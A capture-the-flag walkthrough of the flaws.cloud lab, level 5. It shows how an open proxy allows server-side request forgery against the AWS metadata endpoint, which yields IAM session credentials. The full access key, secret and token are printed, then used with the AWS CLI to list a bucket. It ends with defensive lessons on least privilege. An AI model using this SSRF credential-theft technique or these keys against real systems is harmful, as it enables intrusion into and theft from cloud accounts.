Flaws.cloud Level 5: SSRF With Cloud MetaData Endpoints

Level 6 is located here, upon requesting this URL we'll see that it is sealed off from public access from some type of firewall. Luckily the author gives us some hints to bypass this firewall, the website at level 5 can act as a proxy. A proxy is a server that is used to forward traffic from one host to another. Most notably proxies are used for bypassing draconian government censorship, but they do have "legal" uses in the world of development where the main webserver will sit behind a proxy that acts as a buffer from the public.

The proxy URL can be found at http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/ but you need to properly complete level 5 first if you haven't be sure to check out my previous tutorial.

In the realm of red teaming proxies have many uses. For example, red teamers will often hide their attacking infrastructure behind a proxy, in the inevitable event that the forwarding server gets flagged or blacklisted the main infrastructure of the red team will be (hopefully) undiscoverable by the security team. Respawning a proxy with a fake domain is much easier than respawning a command and control (C2) setup which likely has a functional database, and active listeners and may even be being used in other engagements.

However in this case we're going to use a proxy to bypass firewall restrictions on level 6. We can proxy the corresponding web page for level 6 by specifying the URL we want to reach after the /proxy/ folder like so:

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/

Drum roll, please.... :( unfortunately, we're returned an Nginx 404 error page not found. In a regular engagement, we could take other measures like fingerprinting the server and hope to find a publicly known exploit or brute force subdomains/subfolders of the main website. Fortunately for us we won't have to do such work because the author gives us a hint that the flag is located in a subdirectory of the webserver. But which one could it be in?

According to the AWS Certified Solutions Architect handbook, all EC2 instances have a series of endpoints that are known as metadata endpoints. Metadata is data about data and in this case, the metadata endpoints will tell us nifty information like the kind of instance we're running, its security groups, ami info etc.

The exact location of these metadata endpoints will vary depending on which cloud provider you are using but on AWS they are located within a private IP of 169.254.169.254. Normally this private IP range is hidden from the public but we are working with a proxy that will be able to query this API endpoint within the local IP address. All we need to do is add 169.254.169.254/latest to the /proxy directory:

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest

This is essentially an SSRF vulnerability or Server Side Request Forgery where we are tricking the web application into requesting a private IP on our behalf. We can find the metadata of the ec2 instance by visiting http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/ which will yield the following directory tree:

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
system

Fell free to go through each of these folders on your own, each can yield very valuable information in a red team exercise. But, let's remember what we're really after: a way into level 6. We know that the author likes to add to many permissions to their IAM credentials, let's try to find some more by visiting theiam/security-credentials folder at http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/

If we probe further into the /flaws subdirectory we'll find an access key, a secret access key and a token. Which we can save as a profile on our local machine, the data from the /flaws directory is shown below:

{
  "Code" : "Success",
  "LastUpdated" : "2023-06-11T20:56:26Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA6GG7PSQG6OKR7Z6K",
  "SecretAccessKey" : "7bUTGmpHz2jc81kxia0KiojwxKyzxVVg8R8rmX/H",
  "Token" : "IQoJb3JpZ2luX2VjEH0aCXVzLXdlc3QtMiJHMEUCIH3E2Y2q3SNgs4LGheMg67CK5TL/ek13p4OK0dF44nPPAiEA6WMtfFyuWpzIwDAThmP72B0kdlpMx2bbizYNE2B35VUquwUIxv//////////ARADGgw5NzU0MjYyNjIwMjkiDAj8LFdHmXFs7095GCqPBWP2h6p/9Eida5nsEL1x2XKGwx+wuWgffjnsm4Y5VVYWREBF7FhhOiLCdFq82YCkTUFMj9LqKNKoApyAmtwOvs/8ekAD0pSREeSWO4Atn4kZEX82Zs6NSifhGTGY+P0m96f0rvFnAfT2wMCISdyH+V9zvkPs/CxeDSQNkVt0pgVYcWoc2sNsiKhI+Wc3BDmVDX9WKGEqmrcM7uyOFyc2xYNgpjog+HcEZyd+jfNamrAlEVUlCltltlYMF3aVgik1R8CkwwaNGPFIebIArvNHTLhjaQY8wHmrdpzjVf1RnBx0WuqWLzEQixgOUUnfA6xHJPadVJQ8JiTpdunMdcoY98LVFOW5fOi1PGKgJfZGrzMD7eGwMfesn7+GSXGW53mstc8Os2NFI74oGjG6dkIfAHOLHDcWV9zlnKBGK1KtxHdPqvt7NcTtVeLwA0IIgqSKrTV7Mq3pLeWBxqFINQc5uN6FslKdrkLb2OxtMDMwfXL6UbikCENKMUN+LmTDN4UV8AT9l/eMixT7E0kXPFx6MBvv9UiMUETzR9zl5OBcTAVMwlzcN211h7zLdyFuAvm+sYO7qU4RBVHRxB0927V0TRtSw49N/kfZ8TDMw8GT3wI0rHfUOt1cDe8xNVZbMRcFUVGvVFgnwPCPRGLY99uCvAwB6GKRVEJgOmHZrdP+KG7FKB0M3isue1Ri76WBIR9dGF3KdEHdYSrHmV9yLyyYXvhW7V4R/xfbdkn6vMT8bGjhZzOtEoByPpndNIfi+MKBLhhtFo9xZumuerU0AaTxjc/KA2xcOk/Wghzefb2OXG7drGcbkhf/ryTWW+9BPWAKHUp+jLtpIXWBk6H4JvU9oXP6BtHGAVLN4qc3sSIin24wp+qYpAY6sQHOkw9iKzdsUSs2HFiLodwv28/foRVa1tH7M7E5VMHCploDD25/GxMhJZ2ROywEPygJhDWDrUBMeKdqp64LinBoEMbN6I6RBc7ScSSO4AgJlgKnNIHnrG92fIBD8cJqC6acSgVo54E3wyG3YNL7c7hoFQFZmI0GPJDfonBOhbDailip4cLuwX2xYqorfMMCqPjuIcRvoM9UgOqj8gxglHWbw6o+TBwhs3er7z515Jf6fbI=",
  "Expiration" : "2023-06-12T03:25:01Z"
}

And we can add these credentials to our configuration file with a level5 profile

[level5]
region = us-west-2
aws_access_key_id = ASIA6GG7PSQG6OKR7Z6K
aws_secret_access_key = 7bUTGmpHz2jc81kxia0KiojwxKyzxVVg8R8rmX/H
aws_session_token = IQoJb3JpZ2luX2VjEH0aCXVzLXdlc3QtMiJHMEUCIH3E2Y2q3SNgs4LGheMg67CK5TL/ek13p4OK0dF44nPPAiEA6WMtfFyuWpzIwDAThmP72B0kdlpMx2bbizYNE2B35VUquwUIxv//////////ARADGgw5NzU0MjYyNjIwMjkiDAj8LFdHmXFs7095GCqPBWP2h6p/9Eida5nsEL1x2XKGwx+wuWgffjnsm4Y5VVYWREBF7FhhOiLCdFq82YCkTUFMj9LqKNKoApyAmtwOvs/8ekAD0pSREeSWO4Atn4kZEX82Zs6NSifhGTGY+P0m96f0rvFnAfT2wMCISdyH+V9zvkPs/CxeDSQNkVt0pgVYcWoc2sNsiKhI+Wc3BDmVDX9WKGEqmrcM7uyOFyc2xYNgpjog+HcEZyd+jfNamrAlEVUlCltltlYMF3aVgik1R8CkwwaNGPFIebIArvNHTLhjaQY8wHmrdpzjVf1RnBx0WuqWLzEQixgOUUnfA6xHJPadVJQ8JiTpdunMdcoY98LVFOW5fOi1PGKgJfZGrzMD7eGwMfesn7+GSXGW53mstc8Os2NFI74oGjG6dkIfAHOLHDcWV9zlnKBGK1KtxHdPqvt7NcTtVeLwA0IIgqSKrTV7Mq3pLeWBxqFINQc5uN6FslKdrkLb2OxtMDMwfXL6UbikCENKMUN+LmTDN4UV8AT9l/eMixT7E0kXPFx6MBvv9UiMUETzR9zl5OBcTAVMwlzcN211h7zLdyFuAvm+sYO7qU4RBVHRxB0927V0TRtSw49N/kfZ8TDMw8GT3wI0rHfUOt1cDe8xNVZbMRcFUVGvVFgnwPCPRGLY99uCvAwB6GKRVEJgOmHZrdP+KG7FKB0M3isue1Ri76WBIR9dGF3KdEHdYSrHmV9yLyyYXvhW7V4R/xfbdkn6vMT8bGjhZzOtEoByPpndNIfi+MKBLhhtFo9xZumuerU0AaTxjc/KA2xcOk/Wghzefb2OXG7drGcbkhf/ryTWW+9BPWAKHUp+jLtpIXWBk6H4JvU9oXP6BtHGAVLN4qc3sSIin24wp+qYpAY6sQHOkw9iKzdsUSs2HFiLodwv28/foRVa1tH7M7E5VMHCploDD25/GxMhJZ2ROywEPygJhDWDrUBMeKdqp64LinBoEMbN6I6RBc7ScSSO4AgJlgKnNIHnrG92fIBD8cJqC6acSgVo54E3wyG3YNL7c7hoFQFZmI0GPJDfonBOhbDailip4cLuwX2xYqorfMMCqPjuIcRvoM9UgOqj8gxglHWbw6o+TBwhs3er7z515Jf6fbI=

As with other levels, we know that the s3 bucket's name must be the same as that of the URL that points to it. Let's try listing the contents of the bucket:

17:31:35 ~ $ aws --profile level5 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud          
                           PRE ddcc78ff/
2017-02-26 21:11:07        871 index.html

The bucket holds an index.html file and a directory named ddcc78ff, we can list all of the contents of this directory by passing the --recursive flag to the ls command:

aws --profile level5 s3 ls level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --recursive
2017-03-02 23:36:23       2463 ddcc78ff/hint1.html
2017-03-02 23:36:23       2080 ddcc78ff/hint2.html
2020-05-22 14:42:20       2924 ddcc78ff/index.html
2017-02-26 21:11:07        871 index.html

We'll find the next level at http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ddcc78ff/index.html

Lessons Learned

Once again this CTF teaches us about the dangers of not following the principle of least privilege. Once obtained, poorly configured IAM profiles with excessive permissions allow an attacker to expose more of your cloud assets. Only configure IAM credentials or roles to have the bare minimum access to your assets based on their job within your organization.

Another mistake this level teaches us about is the danger of exposing meta-data endpoints. Lots of valuable information like device mappings, AMI IDs and lifecycle data are all exposed through the 169.254.169.254/latest/meta-data endpoint. In this level, we stole the IAM of the ec2 instance from this endpoint, another hypothetical attack vector scenario could involve discovering unpatched software vulnerabilities based on the instance AMI.

AWS developers can control inbound and egress traffic from their instances using cloud-based firewalls which AWS dubs as security groups. These will control both the port and the type of traffic flowing into and out of your instance, you can read more about security groups here.